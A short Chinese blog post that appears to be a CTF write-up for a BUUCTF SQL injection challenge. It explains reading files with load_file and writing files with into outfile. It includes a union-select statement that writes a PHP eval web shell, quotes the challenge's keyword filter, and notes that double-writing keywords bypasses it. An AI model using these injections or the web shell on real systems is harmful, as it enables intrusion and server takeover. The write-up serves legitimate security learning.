NineOnee

导航

 

sql注入时load_file和into outfile

前言

  • 环境:buuctf中[极客大挑战 2019]BabySQL1
  • 知识点:load_file和into outfile

知识点

load_file

sql注入时,要是可以用联合查询,找到有回显得位置,用户为root,就可以用loadfile来读取文件

如:
select id,name,email from test where password=1 union select 11,22,33

这时候假设22和33都有回显那么我们就可以利用22和33的位置进行load_file读取文件,这与group_concat不同(最后一个位置才可以)

outfile

用户为root,但是这还不够,因为你此时只能导入文件到/tmp这个目录下,没有权限导入到/var/www/html这个目录下,而我们是访问不到/tmp这个目录的,所以传进去的马用不到

语句

select id,name,email from test where password=1 union select 11,'<?php @eval($_POST[hacker]);?>',33 into outfile '/tmp/hacker.php'

思路

常规方法,这里存在过滤

$check_list = '/into|drop|load_file|outfile|by|substr|echo|hex|ascii|bin|mid|>|<|\\\|char|select|where|from|union|greatest|\x00|=_|\x09|\x0a|\x0b|\x0c|\x0d|\x2b|or|and|if|insert|having|\*|sleep/i'; 
$username=preg_replace($check_list,"",$_GET['username']); 
$password=preg_replace($check_list,"",$_GET['password']); 

用双写绕过就好了

posted on 2020-11-24 23:02  NineOne_E  阅读(568)  评论(0编辑  收藏  举报